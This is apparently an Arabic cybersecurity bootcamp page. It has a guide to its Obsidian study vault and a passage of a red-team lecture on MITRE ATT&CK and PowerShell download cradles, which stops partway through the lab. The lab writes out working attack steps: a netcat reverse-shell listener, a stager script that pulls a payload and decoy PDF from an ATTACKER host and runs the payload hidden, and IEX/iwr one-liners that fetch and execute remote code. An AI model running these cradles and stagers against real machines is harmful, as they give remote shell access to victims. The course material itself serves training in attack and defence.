ISKANDERCyber Bootcamp دخول
خصم ٤٥٪دورة الفريق الأزرق بـ ٢٧٥٬٠٠٠ د.ع بدلاً من ٥٠٠٬٠٠٠. عرض Winter Arc للتسجيل المبكر، والدورة تبدأ نوفمبر ٢٠٢٦. احجز مكانك
معسكر الأمن السيبرانيZERO TO HERO

لا تحفظ الأدوات. افهم الطريق.

من عقلية المهاجم المتقدّم، إلى بناء أدواتك بنفسك، إلى الدفاع عن بنية حقيقية، إلى مواجهة مباشرة بين فريقين. كل دورة هنا لها موقع محدّد على الخريطة، وكل دورة تعرف ما الذي يجب أن تتقنه قبلها.

٨دورات ومراحل
٦٣وحدة تعليمية
٥٢٩موضوعاً مفصّلاً
٧فصول منشورة
الخريطة

خريطة المسار التفاعلية

اضغط على أي دورة لترى ملخّصها، ثم افتح صفحتها الكاملة. الأسهم تُقرأ من اليمين إلى اليسار: ما على اليمين يجب أن يسبق ما على اليسار.

الخط المتصل يعني متطلباً إلزامياً، والخط المتقطّع يعني متطلباً مُستحسَناً
الفصول

منشور حتى الآن

من المرحلة الأولى، سلسلة طرق التوصيل. كل قسم ينتهي بأسئلة تحقّق تخبرك إن كنت فهمت قبل أن تكمل.

الخزنة

المنهج كشبكة، لا كقائمة

كل محاضرة تُنزَّل كملف Markdown مربوط بالمفاهيم التي تشرحها: الطرق، الأدوات، الدفاعات، تقنيات ATT&CK، والخصوم. افتح المجلد في Obsidian واضغط Graph view: النقاط المجوّفة هي محاضرات لم تُنزّلها بعد، وكلما أضفت واحدة امتلأت العقد المشتركة معها.

تحتوي الخزنة
دليل التنقّل شبكة المفاهيم

لا تُغيّر أسماء الملفات: Obsidian يربط الملاحظات بالاسم، وأي إعادة تسمية تقطع الرابط.

الطريقة الأنظف · عبر Git

استنساخ المستودع لا يضع على الملفات علامة «نُزّل من الإنترنت»، فلا يظهر تحذير SmartScreen الذي يظهر مع تنزيل المتصفّح. ثبّت Git، نفّذ الأمر، ثم افتح المجلد الناتج في Obsidian:

git clone https://github.com/HashHashBit/iskander-vault.git
لا تملك Git؟ نزّله لويندوز ←
الشبكة

شبكة المفاهيم

نفس الشبكة التي تفتحها الخزنة في Obsidian، وفيها مرشّحات لا يملكها: اعرض ما تشترك فيه المحاضرات فقط، أو ما يخصّ تكتيكاً واحداً في ATT&CK، أو المسار الأقصر بين مفهومين. دليل التنقّل يشرح الطريقة كاملة.

النوع
الفصل
تكتيك ATT&CK
الروابط
التصفية
أقل عدد إشارات: 1
اسحب الخلفية للتحريك · عجلة الفأرة للتقريب · اضغط عقدة لتفاصيلها
عودة إلى الخريطة
زينب إسكندر، مدرّبة الأمن السيبراني في معسكر إسكندر
المدرّبة

زينب إسكندر

مدرّبة الأمن السيبراني · معسكر إسكندر

تبني محتوى الأمن السيبراني الذي بحثت عنه بالعربية ولم تجده: شرح يبدأ من المبدأ، ومختبرات تُشغَّل بيدك، لا شرائح تُحفظ.

احجز جلسة استشارية

لماذا هذا المنهج

أغلب ما يُنشر بالعربية في الأمن الهجومي يشرح الأداة ولا يشرح الطريق. يخرج الدارس قادراً على تشغيل أمر دون أن يعرف لماذا نجح، ولا ما الذي كان سيوقفه. المنهج هنا مبني على العكس: كل تقنية تُشرح من مبدئها، وتُربط بموقعها في إطار MITRE ATT&CK، ثم يُنظر إليها من جهة المدافع.

العمل مع المختصّين

تعمل زينب مع نخبة من المختصّين في الأمن السيبراني، من الفرق الحمراء والزرقاء، على بناء منهج يجمع ما يُدرَّس في المعسكرات العالمية بما يحتاجه سوق الشرق الأوسط فعلاً. المادة تُراجَع تقنياً قبل نشرها، وتُحدَّث حين تتغيّر الدفاعات التي تتحدّث عنها.

المختبرات هي الفرق

لا يكتفي المنهج بوصف طريقة توصيل. تبنيها بنفسك، وتشغّلها في بيئة معزولة، ثم تعود إليها من جهة المدافع: ما الذي ظهر في السجلّات، وأي قاعدة كانت ستوقفها. كل قسم ينتهي بأسئلة تحقّق تخبرك إن كنت فهمت قبل أن تكمل.

الشروح القصيرة على القنوات، والفصول الكاملة هنا مجاناً.

شبكة المفاهيم

دليل التنقّل: كيف تقرأ هذه الخزنة في Obsidian

هذه الخزنة ليست مجموعة ملفات. هي شبكة: كل محاضرة مربوطة بالمفاهيم التي تشرحها، وكل مفهوم مربوط بالمفاهيم التي يظهر بجوارها. الهدف أن ترى الطريق، لا أن تحفظ الأدوات.


أولاً: افتح الخزنة

  1. نزّل الخزنة من صفحة iskander.sh، وفُكّ الضغط عن المجلد.
  2. في Obsidian اختر Open folder as vault ثم اختر مجلد Iskander Bootcamp.
  3. افتح ملف الخريطة. هذا هو الفهرس: منه تصل إلى كل شيء.
لا تُغيّر أسماء الملفات. Obsidian يربط الملاحظات بالاسم، فإعادة التسمية تقطع كل رابط يشير إلى الملف. إن أردت اسماً آخر استخدم aliases في رأس الملف.

بنية الخزنة

المجلدما فيه
المحاضراتنص كل محاضرة كاملاً، وفي آخره قسم الصلات
الدوراتصفحة لكل دورة في الخريطة، مع المتطلبات السابقة وما تفتحه
المفاهيم/الطرقطرق التوصيل: الملف المربوط، HTA، الحاويات، وغيرها
المفاهيم/الأدواتالثنائيات الموقّعة وأدوات العمل: mshta، certutil، PowerShell
المفاهيم/الدفاعاتما تواجهه: MOTW، SmartScreen، Defender، AMSI، ETW
المفاهيم/التقنياتتقنيات MITRE ATT&CK المذكورة في المحاضرات
المفاهيم/الخصومالمجموعات والحملات الحقيقية التي تُشتقّ منها الأمثلة

كيف تقرأ ملف مفهوم

كل ملف مفهوم مبني على نفس الشكل:

  • رأس الملف فيه الوسم ونوع المفهوم وعدد الإشارات إليه في كل المحاضرات.
  • الاقتباس في الأعلى هو التعريف، منقول حرفياً من المحاضرة التي تشرحه، ومذكور تحته من أي محاضرة أُخِذ.
  • يظهر في يعدّ المحاضرات التي تذكره ومعها عدد الإشارات. رقم كبير في محاضرة واحدة يعني أن هذه المحاضرة هي مكان دراسته.
  • مفاهيم مجاورة ليست قائمة عشوائية: هذه مفاهيم تظهر في نفس القسم داخل المحاضرات. إن رأيت ISO بجوار MOTW فذلك لأن النص يناقشهما معاً، وهذا سؤال يستحق أن تسأله: لماذا؟

الأدوات الخمس التي ستستخدمها

1. الرسم الكامل (Graph view)

الأيقونة في الشريط الجانبي الأيسر، أو Ctrl+G على ويندوز و Cmd+G على ماك. تُظهر الخزنة كلها. اضغط على ترس الإعدادات داخل الرسم لتجد:

  • Filters: صندوق بحث يقبل استعلامات مثل tag:#مفهوم/دفاع أو path:المحاضرات.
  • Groups: تلوين مجموعة بلون. الخزنة تصلك ملوّنة مسبقاً حسب النوع.
  • Display: منه فعّل Show unresolved links إن لم يكن مفعّلاً.
  • Forces: تباعد العقد. زد Repel force إن بدا الرسم متكدّساً.

النقاط المجوّفة هي ملفات مذكورة ولم تُنزّلها بعد. كلّما أضفت محاضرة امتلأت العقد المرتبطة بها. هذه أسرع طريقة لترى ما ينقصك.

2. الرسم الموضعي (Local graph)

من قائمة ... أعلى الملف اختر Open local graph، أو من لوحة الأوامر. يُظهر جيران هذا الملف فقط. في إعداداته اضبط Depth:

  • Depth 1: ما يرتبط بالملف مباشرة.
  • Depth 2: وما يرتبط بجيرانه. ابدأ بـ 1 دائماً، فـ 2 يتحوّل إلى ضوضاء بسرعة.

هذه هي الأداة التي ستقضي فيها أكثر وقتك.

3. الروابط الخلفية (Backlinks)

في الشريط الأيمن. تُظهر كل مكان يشير إلى الملف المفتوح، ومعه السطر الذي ورد فيه. الفرق بينها وبين "مفاهيم مجاورة": الروابط الخلفية تعطيك السياق النصي، لا الرسم فقط.

4. لوحة الوسوم (Tags)

في الشريط الأيمن. الوسوم الجاهزة:

#محاضرة · #دورة · #مفهوم/دفاع · #مفهوم/أداة · #مفهوم/طريقة · #مفهوم/تقنية · #مفهوم/خصم · #مسار/...

اضغط #مفهوم/دفاع لترى كل الدفاعات دفعة واحدة. هذه طريقة جيدة لمراجعة محور كامل قبل الامتحان.

5. البحث والتنقّل السريع

الأمرويندوزماك
فتح ملف بالاسمCtrl+OCmd+O
بحث في كل النصCtrl+Shift+FCmd+Shift+F
لوحة الأوامرCtrl+PCmd+P
الرسم الكاملCtrl+GCmd+G

إن نسيت اختصاراً، لوحة الأوامر تجد كل شيء بالاسم.


مثال كامل: كيف تدرس موضوعاً واحداً

خذ MOTW، علامة الويب. هي مذكورة في المحاضرات الثلاث، وهذا يجعلها مثالاً جيداً. اتبع هذه الخطوات بالترتيب، وستجد أنك فهمت المحور كله لا التعريف وحده.

الخطوة 1: ابدأ من المفهوم، لا من المحاضرة

افتح MOTW من مجلد المفاهيم/الدفاعات. اقرأ الاقتباس في الأعلى فقط. الآن تعرف تعريفاً واحداً في سطرين، وتعرف أنه مذكور في المحاضرات الثلاث كلها. هذا الرقم وحده يخبرك أن هذا ليس تفصيلاً جانبياً، بل عمود.

الخطوة 2: افتح الرسم الموضعي بعمق 1

سترى حوله: SmartScreen و ISO و ADS و HTA و LNK و Microsoft Defender.

قف هنا واسأل نفسك السؤال الصحيح: لماذا هؤلاء بالذات؟ لا تُجب بعد.

الخطوة 3: اتبع أغرب جار

SmartScreen جار متوقّع، فهو يستهلك العلامة. لكن ISO غريب: ما علاقة صورة قرص بعلامة على ملف؟ افتح ISO.

ستجد الجواب في تعريفه: الحاويات لا تنقل العلامة إلى ما بداخلها. الآن فهمت لماذا ظهرا متجاورين، وفهمت في نفس الوقت لماذا تحوّل المهاجمون إلى ISO بعد أن حُظر ماكرو الإنترنت.

الخطوة 4: انزل إلى النص

من ISO اذهب إلى يظهر في واتبع المحاضرة صاحبة أكبر عدد إشارات. اقرأ القسم هناك. الآن معك التفصيل الكامل بعد أن عرفت لماذا تقرأه، وهذا فرق كبير عن أن تبدأ القراءة من أول المحاضرة.

الخطوة 5: اجمع المحور كله

ارجع إلى MOTW وافتح الروابط الخلفية. كل سطر ذكرها في الخزنة أمامك الآن، من المحاضرات الثلاث. اقرأها كلها متتابعة: هذه مراجعة كاملة لمحور واحد في دقائق، مجمّعة من ثلاثة مستندات لم تكن لتقرأها معاً.

الخطوة 6: اقلب السؤال

اضغط الوسم #مفهوم/دفاع في لوحة الوسوم. أمامك كل الدفاعات. اسأل الآن سؤال الفريق الأحمر: أي واحد من هذه تتخطّاه الطريقة التي تعلّمتها، وأيها لا؟ هذا السؤال هو الفرق بين من يشغّل أداة ومن يفهم لماذا تعمل.

الخطوة 7: اكتب ملاحظتك أنت

أنشئ ملفاً جديداً في مجلد باسمك، واكتب فيه جوابك على سؤال الخطوة 6، واربط ما تذكره هكذا: [[MOTW]] و [[ISO]].

اللحظة المهمة: افتح الرسم الكامل الآن. ملاحظتك صارت عقدة داخل الشبكة، ومرتبطة بما درسته. كرّر هذا مع كل موضوع، وبعد شهر يصبح الرسم خريطة رأسك أنت، لا خريطتنا.


نمط أسبوعي مقترح

اليومالعمل
قبل المحاضرةافتح صفحة الدورة، اقرأ المتطلبات السابقة، تأكد أنك أنهيتها
أثناء القراءةلا تتوقف عند كل مصطلح؛ علّمه فقط وأكمل
بعد القراءةافتح قسم الصلات في آخر المحاضرة، وافتح كل مفهوم لم تكن تعرفه
المراجعةافتح مفهوماً واحداً واقرأ روابطه الخلفية كلها
نهاية الأسبوعاكتب ملاحظة واحدة بلغتك تربط ثلاثة مفاهيم على الأقل

أخطاء شائعة

  • قراءة المحاضرة من أولها إلى آخرها بلا توقّف. المحاضرات طويلة عن قصد. الرسم موجود لتدخل من المنتصف حيث يهمّك.
  • تجاهل النقاط المجوّفة. هي قائمة ما ينقصك، معروضة مجاناً.
  • إعادة تسمية الملفات. تقطع الروابط. استخدم aliases.
  • البقاء على Depth 2 في الرسم الموضعي. يتحوّل إلى ضوضاء ويوهمك أن كل شيء مرتبط بكل شيء.
  • عدم كتابة أي ملاحظة. خزنة تقرأ فيها فقط هي كتاب. خزنة تكتب فيها هي ذاكرة.

العودة إلى الخريطة

الفصول
المدة المتوقعة: 3 ساعات المتطلبات السابقة: المحاضرة 2 (طرق التوصيل الأولى: Trojan Binder، HTA، LOLBins)، المحاضرة 3 (بناء الحمولات وتشفيرها) البيئة المخبرية: جهاز Kali Linux (المهاجم) + Windows 11 24H2 VM (الضحية) في شبكة معزولة NAT/Host-Only فقط تحذير قانوني: كل ما في هذه المحاضرة للتعليم الدفاعي في بيئة معزولة. تشغيل أي من هذه الحمولات على جهاز لا تملكه أو لا تملك إذناً كتابياً باختباره = جريمة سيبرانية في كل دول العالم.

📖 تعليمات القراءة

  • النص الأساسي بالعربية يُقرأ من اليمين إلى اليسار.
  • كل مربعات الأكواد بالإنجليزية وتُنسخ كما هي (LTR).
  • المصطلحات التقنية داخل الجمل العربية تبقى بالإنجليزية داخل علامات backtick مثل: PowerShell، certutil، MOTW.
  • كل حالة APT مذكورة مع السنة واسم الحملة، وكل ثغرة مذكورة مع رقم CVE.
  • الرموز: — 🧪 معمل عملي — ⚠️ تحذير أمني أو تشغيلي — ✅ مُتحقق منه على Windows 11 24H2 في 2026 — 🎯 نقطة تعليمية جوهرية

🗂️ جدول المحتويات


القسم 0القسم 0: من أين نكمل؟ جسر من المحاضرتين 2 و 3

في المحاضرة الثانية بنينا ثلاث طرق توصيل:

  1. Trojan Binder، ربط ملف .exe خبيث مع ملف شرعي (لعبة، صورة .jpg مزوّرة الأيقونة).
  2. HTA File، ملف HyperText Application يعمل خارج sandbox المتصفح ويُشغّل VBScript/JScript.
  3. LOLBins بصيغتها الأولى، استخدام mshta.exe كطريقة تشغيل ثنائية موقّعة من Microsoft.

في المحاضرة 1 بنينا payload.exe، reverse shell كامل بـ C++ Winsock (WSAStartup → socket → connect → CreateProcess("cmd.exe") مع stdin/stdout مربوطة بالـ socket). عند تشغيله يتصل عكسياً بـ nc -nlvp 4444 على جهاز المهاجم. المسار الفعلي على قرصنا: /home/hash-hash/ctf/dev/red-ctf/delivery/payload.exe.

في المحاضرة 2 غلّفناه داخل Trojan Binder مع decoy.pdf كطُعم بصري. الملف الناتج Report.pdf.exe عند النقر:

  1. يستخرج decoy.pdf إلى %TEMP% ويفتحه للضحية (يرى PDF عادي، لا يشك بشيء).
  2. يستخرج payload.exe إلى %APPDATA%\Microsoft\Windows\Update\wmupdate.exe ويشغّله مخفياً بـ CREATE_NO_WINDOW.
  3. الـ payload يتصل بـ nc listener على المهاجم → shell.

🎯 قاعدة ذهبية للمحاضرة كلها: الطرق الثلاث الجديدة تستخدم نفس payload.exe ونفس decoy.pdf، الشيء الوحيد الذي يتغيّر هو الحاوية والآلية. النتيجة النهائية في كل مرة:

text
victim double-click  →  decoy Report.pdf opens on screen  +  payload.exe runs hidden  →  attacker's nc -nlvp receives shell

في هذه المحاضرة نُضيف ثلاث طرق توصيل جديدة، أكثر تطوراً وأكثر شيوعاً في هجمات 2020–2026 الحقيقية:

الطريقة الجديدةلماذا تُدرّس هنا؟
PowerShell Cradleالطريقة الأولى في العالم لتشغيل الحمولة بدون كتابة أي ملف على القرص (fileless): تستخدمها كل مجموعة APT تقريباً منذ 2015
Batch + certutilتُظهر كيف يمكن لملف .bat بسيط أن يستدعي أداة Microsoft موقّعة (certutil) لتنزيل الحمولة: أساس Living-off-the-Land
ISO Containerحاوية القرص التي حطّمت أهم دفاع في Windows (Mark-of-the-Web) وسيطرت على 2022 كوسيلة توصيل رئيسية

بعدها نُقدّم إطار MITRE ATT&CK، اللغة المشتركة التي يستخدمها كل مدافع في العالم لوصف هذه الهجمات، ونرسم خريطة كاملة للطرق الخمس التي درسناها حتى الآن.

🎯 الفكرة المحورية للمحاضرة: كل طريقة توصيل هي مزيج من ثلاثة محاور مستقلة:

  • كيف تصل البايتات إلى الضحية (البريد، الويب، USB)؟
  • ما الذي يجعل الكود يعمل فعلاً (نقرة مزدوجة، ثغرة، لصق أمر)؟
  • ما شكل الحمولة على القرص/في الذاكرة (.exe، سكربت، حاوية)؟

خلط هذه المحاور الثلاثة هو أكبر خطأ يقع فيه المبتدئون، وسنُعالجه صراحةً في القسم 6.

✅ اختبر نفسك: القسم 0

قبل الانتقال للقسم التالي، تأكّد أنك تستطيع الإجابة بدون العودة للنص:

  1. أين يقع ملف payload.exe على القرص؟ ماذا يفعل بالضبط عند تشغيله؟
  2. ما الأمر الذي تشغّله على Kali لالتقاط اتصال الـ reverse shell (بالرقم منفذاً)?
  3. ما الفرق بين "طريقة التسليم" و"شكل الحمولة" (Axis A و Axis C)؟ اذكر مثالاً على كل منهما.
  4. لماذا نحتاج طرق توصيل جديدة أصلاً، ما مشكلة Report.pdf.exe من المحاضرة 2 وحده؟

إذا لم تستطع الإجابة على 3 من 4، أعد قراءة القسم قبل المتابعة.


القسم 1القسم 1: إطار MITRE ATT&CK: اللغة المشتركة للدفاع

1.1 من هي MITRE؟

MITRE Corporation ليست شركة تجارية ولا جهة حكومية، بل منظمة غير ربحية أُسّست عام 1958 كفرع مستقل عن MIT Lincoln Laboratory. تُدير عدداً من مراكز البحث والتطوير الفيدرالية (FFRDCs) لصالح الحكومة الأمريكية (وزارة الدفاع، FAA، NIST، DHS/CISA، مجتمع الاستخبارات).

هذا الحياد المؤسسي هو ما جعل مُخرجاتها مقبولة عالمياً، لا يوجد بائع منتج أمني يستطيع الادّعاء أن ATT&CK مصمّم لصالح منافسه.

مسؤوليات MITRE في الأمن السيبراني تشمل:

  • CVE (منذ 1999)، قائمة الثغرات المُعلنة.
  • CWE، تصنيف أنواع نقاط الضعف البرمجية.
  • CAPEC، أنماط الهجمات على التطبيقات.
  • ATT&CK، سلوك الخصم في الاختراق (موضوع هذا القسم).
  • D3FEND، الإجراءات الدفاعية المقابلة.

الموقع الرسمي: <https://www.mitre.org> و <https://attack.mitre.org>

1.2 ما معنى ATT&CK؟

ATT&CK = Adversarial Tactics, Techniques, and Common Knowledge تُكتب بالعامودية ATT&CK (بعلامة &)، وتُنطق ببساطة "attack".

بدأت المشروع عام 2013 كتجربة داخلية في MITRE اسمها FMX (Fort Meade eXperiment)، شبكة موصّاة بالحسّاسات، هدفها دراسة ماذا يفعل المهاجم فعلاً بعد اختراق الجهاز (ما بعد الاختراق)، وليس فقط كيف دخل.

أُطلقت للعامة مجاناً عام 2015، ونمت من التركيز على Windows Enterprise لتشمل:

  • Enterprise، Windows, macOS, Linux, Cloud (Azure, AWS, GCP, O365, Google Workspace, Containers, Network).
  • Mobile، Android, iOS.
  • ICS، Industrial Control Systems (SCADA, PLC, HMI).

الإصدار الحالي في 2026 هو v15+، ويصدر تحديث كبير مرتين سنوياً.

1.3 لماذا وُجد ATT&CK؟

قبل ATT&CK كان النموذج الأشهر هو Lockheed Martin Cyber Kill Chain (2011)، سبع مراحل خطية (Recon → Weaponization → Delivery → Exploitation → Installation → C2 → Actions on Objectives). المشاكل:

  • خطي جداً، الاختراقات الحقيقية تدور في حلقات وتقفز بين المراحل.
  • متحيّز للمحيط، يركّز على "الدخول"، ويهمل ما بعد الاختراق.
  • خشن جداً، Exploitation كخانة واحدة تخفي آلاف السلوكيات المختلفة.
  • ليس لغة مشتركة، محلّلان يصفان نفس الحادثة بمصطلحات مختلفة.

ATT&CK يحلّ هذا بتقديم تصنيف تجريبي على مستوى السلوك. حين يقول محلّل T1059.001 يعرف كل مدافع في العالم أن الحديث عن إساءة استخدام PowerShell للتنفيذ.

1.4 البنية: الطبقات الخمس

text
Tactic (لماذا؟)                    TA0002 — Execution
  └── Technique (كيف عموماً؟)      T1059  — Command and Scripting Interpreter
        └── Sub-Technique (كيف بالضبط؟)  T1059.001 — PowerShell
              └── Procedure (مثال حقيقي)  APT29 used powershell.exe -enc ...
الطبقةالمعنىمثال
Tacticهدف قصير المدى للمهاجم: الـ لماذاTA0003 Persistence
Techniqueفئة السلوك: الـ كيف بشكل عامT1059 Command and Scripting Interpreter
Sub-TechniqueالتخصّصT1059.001 PowerShell
Procedureتنفيذ حقيقي مُوثّق لمجموعة أو برمجيةEmotet 2022: powershell -enc <base64> cradle
Groups / Software / Campaigns / Mitigations / Data Sourcesكائنات داعمةG0016 APT29، S0154 Cobalt Strike

1.5 التكتيكات الأربعة عشر لـ Enterprise

بترتيب حدوثها عادة في الاختراق (مع ملاحظة أن الأرقام غير متسلسلة لأنها تعكس تاريخ إضافتها للإطار):

IDالتكتيكهدف الخصم
TA0043Reconnaissanceجمع معلومات عن الهدف قبل الهجوم
TA0042Resource Developmentبناء البنية التحتية (نطاقات، خوادم، حسابات)
TA0001Initial Accessالحصول على أول موطئ قدم داخل الشبكة
TA0002Executionتشغيل الكود على الجهاز المخترق
TA0003Persistenceالبقاء رغم إعادة التشغيل وتغيير كلمات المرور
TA0004Privilege Escalationرفع الصلاحيات (Admin/SYSTEM/Domain Admin)
TA0005Defense Evasionالتهرّب من أدوات الكشف
TA0006Credential Accessسرقة كلمات المرور، الـ hashes، الـ tokens
TA0007Discoveryاستكشاف البيئة (المضيفون، الشبكات، السحابة)
TA0008Lateral Movementالانتقال من جهاز مخترق لآخر
TA0009Collectionجمع البيانات المُستهدفة
TA0011Command and Controlقناة الاتصال مع الأجهزة المخترقة
TA0010Exfiltrationتسريب البيانات خارج البيئة
TA0040Impactالتدمير، التشفير، الفدية، التلاعب

المصفوفة الكاملة: <https://attack.mitre.org/matrices/enterprise/>

1.6 كيف تقرأ صفحة تقنية؟

كل صفحة على attack.mitre.org تتبع نفس البنية. خذ T1059 كنموذج:

  1. ID والاسم في الأعلى: T1059 — Command and Scripting Interpreter.
  2. الشريط الجانبي (Metadata): — Sub-techniques (العدد والروابط) — Tactic(s)، الخدمة (Execution) — Platforms، Windows / macOS / Linux / Network — Permissions Required، Data Sources، Version، Created / Last Modified
  3. Description، شرح مبسّط.
  4. جدول Sub-techniques، الفروع.
  5. Procedure Examples، من استخدم هذه التقنية فعلاً (مجموعات + برمجيات) مع الاستشهادات.
  6. Mitigations، الضوابط الدفاعية (كل واحدة برقم M، مثلاً M1038 Execution Prevention).
  7. Detection، كيف تكتشفها، مربوطة بـ Data Sources (مثل Process: Process Creation).
  8. References، استشهادات مُرقّمة بمصادرها.

1.7 أداة Navigator

ATT&CK Navigator أداة مجانية داخل المتصفح لتلوين المصفوفة كخريطة حرارية:

  • الرابط: <https://mitre-attack.github.io/attack-navigator/>
  • الاستخدامات: — خريطة تغطية، أخضر لما تكشفه أدواتك، أحمر لما لا تكشفه. — تراكب مجموعة تهديد، إظهار تقنيات APT29 فقط. — تحليل الفجوة، مقارنة "ما يكشفه EDR" مع "ما يفعله الخصم".
  • الطبقات (Layers) ملفات JSON قابلة للحفظ والمشاركة والدمج.

1.8 كيف تربط هجوماً بـ ATT&CK؟

خطوات قابلة للتكرار، علّمها لنفسك مبكراً:

  1. اجمع المصدر، تقرير حادثة، سلسلة أدلة جنائية، مخرج sandbox.
  2. فكّك النشاط إلى سلوكيات منفصلة، جملة واحدة لكل فعل.
  3. لكل سلوك، اسأل "لماذا؟" → اختر التكتيك.
  4. ثم اسأل "كيف؟" → اختر التقنية / الفرعية.
  5. سجّل تفاصيل الإجراء (procedure) الحقيقي المُشاهد.
  6. راجع، هل يمكن لمحلّل آخر أن يصل لنفس النتيجة من مخرجاتك؟
  7. انشرها كطبقة Navigator ليستخدمها الآخرون.

دليل CISA + MITRE الرسمي: <https://www.cisa.gov/news-events/news/best-practices-mitre-attckr-mapping>

1.9 الأدوات ذات الصلة (لتوضيح الحدود)

الإطارالسؤال الذي يُجيب عليه
CWEما نوع الخطأ البرمجي؟ (مثال: CWE-787 Out-of-Bounds Write)
CVEما الثغرة المُعيّنة؟ (مثال: CVE-2021-44228 Log4Shell)
CAPECما نمط الهجوم على مستوى التطبيق؟ (مثال: SQL Injection)
ATT&CKما سلوك الخصم أثناء الاختراق؟
D3FENDما الإجراءات الدفاعية المضادة؟
ENGAGEكيف نخدع ونشتبك مع الخصم؟

✅ اختبر نفسك: القسم 1

  1. ماذا تعني هذه الاختصارات: TA0002, T1059, T1059.001؟ اذكر تكتيك، تقنية، سُبتقنية.
  2. لماذا استبدل ATT&CK نموذج Cyber Kill Chain؟ اذكر عيبَين على الأقل.
  3. ما هو ATT&CK Navigator، وما فائدته للمدافع؟
  4. في أي سنة أُطلق ATT&CK للعامة؟ ومن أي مشروع داخلي في MITRE؟
  5. إذا رأيت S0154 في تقرير threat-intel، ما معناها وأين تجد صفحتها؟

جوابك ≥ 4/5 = تابع. أقل = راجع الجداول 1.4 و 1.5 و 1.6.


القسم 2القسم 2: الطريقة ❶ PowerShell Download Cradle

2.1 ما هو PowerShell أصلاً؟

PowerShell لغة برمجة نصية (shell + scripting language) طوّرتها Microsoft، تختلف عن cmd.exe جوهرياً لأنها مبنية على .NET وتُمرّر كائنات (objects) بين الأوامر بدلاً من نصوص عادية.

خط زمني مختصر:

  • 2002، Jeffrey Snover ينشر "Monad Manifesto" مُبرِّراً الحاجة لـ shell جديد على Windows: "Linux يعتبر كل شيء ملف نصي ASCII، بينما Windows يعتبر كل شيء API يُرجع بيانات مُنظّمة"، لذا الأنابيب (pipelines) يجب أن تنقل كائنات لا نصوصاً.
  • نوفمبر 2006، إصدار Windows PowerShell 1.0 كتنزيل اختياري لـ XP/Vista.
  • 2009، Windows 7 / Server 2008 R2، PowerShell يُشحن مع النظام مدمجاً (in-box). منذ هذه اللحظة، powershell.exe هو LOLBin مضمون على كل نقطة نهاية Windows.
  • 2012، PowerShell 3.0، إضافة Invoke-WebRequest و Invoke-RestMethod (صياغة مختصرة iwr | iex).
  • 2016، PowerShell 5.0/5.1، إضافة Script Block Logging، AMSI، Constrained Language Mode، أول أدوات دفاعية جدّية.
  • 2020، PowerShell 7، إصدار متعدد المنصات مبني على .NET Core، يعمل جنباً إلى جنب مع 5.1 (الافتراضي على Windows).
  • 2026، تقاعد Jeffrey Snover رسمياً من Microsoft (يناير 2026).

المرجع: <https://en.wikipedia.org/wiki/PowerShell>

2.2 ما هو الـ Cradle؟

"Cradle" ("مهد") = سطر PowerShell واحد قصير مهمته الوحيدة أن:

  1. يفتح اتصالاً بعنوان URL يُسيطر عليه المهاجم،
  2. يجلب سكربتاً أكبر بكثير،
  3. ويُشغّله في الذاكرة مباشرة دون كتابته على القرص.

اسم "المهد" لأنه صغير ويحمل داخله "الطفل" (الحمولة الفعلية الأكبر). المصطلح تبلور مع إطار PowerShell Empire (2015، Will Schroeder + Justin Warner + Matt Nelson)، ورسّخه Daniel Bohannon عام 2017 بأداته الشهيرة Invoke-CradleCrafter التي تُصنّف أكثر من 10 أنماط cradle مختلفة.

2.3 لماذا يعشقه المهاجمون؟ خمس نقاط:

  1. لا شيء على القرص، DownloadString يُمرّر البايتات مباشرة لـ Invoke-Expression. لا يوجد ملف يفحصه AV أثناء الوصول.
  2. مقاومة التوقيعات (signatures)، المنطق الخبيث موجود على خادم بعيد يُمكن تدويره كل ساعة؛ على النقطة النهائية يوجد فقط الـ cradle الصغير، ويُمكن إعادة تشفيره لكل ضحية.
  3. ثنائي موقّع من Microsoft، powershell.exe موقّع رسمياً وعلى كل قائمة سماح (AppLocker، WDAC الافتراضي)، ومن الطبيعي أن يتصل بالإنترنت (مسؤولو الأنظمة يستخدمونه هكذا).
  4. يناسب أي مكان صغير، يدخل في ماكرو Word، حقل .lnk، HTA، Scheduled Task، WMI Event.
  5. Living off the Land، يستخدم فقط فئات .NET مضمّنة (System.Net.WebClient، HttpClient، BITS، XMLHTTP). نصيحة CISA AA24-038A لعام 2024 تُشير إلى أن PowerShell يظهر في غالبية حالات الاختراق الموثّقة باستراتيجية LOTL.

2.4 المعمل 🧪: تشغيل ستة أنواع من الـ Cradle

إعداد الخادم (Kali / Ubuntu: جهاز المهاجم)

نستخدم نفس الحمولة من المحاضرة 1: payload.exe (C++ reverse shell)، والطُعم من المحاضرة 2: decoy.pdf.

bash
# نافذة terminal 1 — nc listener يستقبل الـ reverse shell
nc -nlvp 4444
bash
# نافذة terminal 2 — استضف الحمولة والطُعم + سكربت stager
mkdir -p /srv/payloads && cd /srv/payloads

# انسخ الملفين من مجلد المحاضرة 2 (بُنيا سابقاً)
cp /home/hash-hash/ctf/dev/red-ctf/delivery/payload.exe .
cp /home/hash-hash/ctf/dev/red-ctf/delivery/decoy.pdf   .

# stager صغير: يُنزّل الاثنين، يفتح PDF للضحية، ويُشغّل payload خفية
cat > x.ps1 << 'EOF'
$pdf = "$env:TEMP\Report.pdf"
$exe = "$env:TEMP\svc32.exe"
(New-Object Net.WebClient).DownloadFile('http://ATTACKER:8080/decoy.pdf',   $pdf)
(New-Object Net.WebClient).DownloadFile('http://ATTACKER:8080/payload.exe', $exe)
Start-Process $pdf                              # يفتح Report.pdf للضحية (غطاء)
Start-Process $exe -WindowStyle Hidden          # يُطلق reverse shell خفية
EOF

# ابدأ خادم HTTP على المنفذ 8080
python3 -m http.server 8080 --bind 0.0.0.0

⚠️ استبدل ATTACKER في كل الأوامر التالية بعنوان IP جهاز Kali داخل الشبكة المعزولة.

النمط 1: Classic WebClient + IEX (النموذج الكلاسيكي: PowerShell v2+)

powershell
IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER:8080/x.ps1')
  • القرص/الذاكرة: ذاكرة فقط.
  • ✅ في 2026 على Windows 11 24H2: AMSI يفحص السلسلة النصية قبل أن يُصرّفها Invoke-Expression، أي كلمة مفتاحية معروفة (DownloadString، IEX، Invoke-Mimikatz) تُطلق Trojan:PowerShell/PowerSploit.*. قاعدة ASR 5BEB7EFE-FD9A-4556-801D-275E5FFC04CC (Block execution of potentially obfuscated scripts) مُفعّلة افتراضياً وتحظر النمط.
  • ملاحظة .NET: Net.WebClient من .NET Framework 4.8.1 القديم، موجود لكن مُميّز كـ legacy، ولا يدعم TLS 1.3 افتراضياً.

النمط 2: النمط المختصر iwr … -useb | iex

powershell
iwr http://ATTACKER:8080/x.ps1 -useb | iex
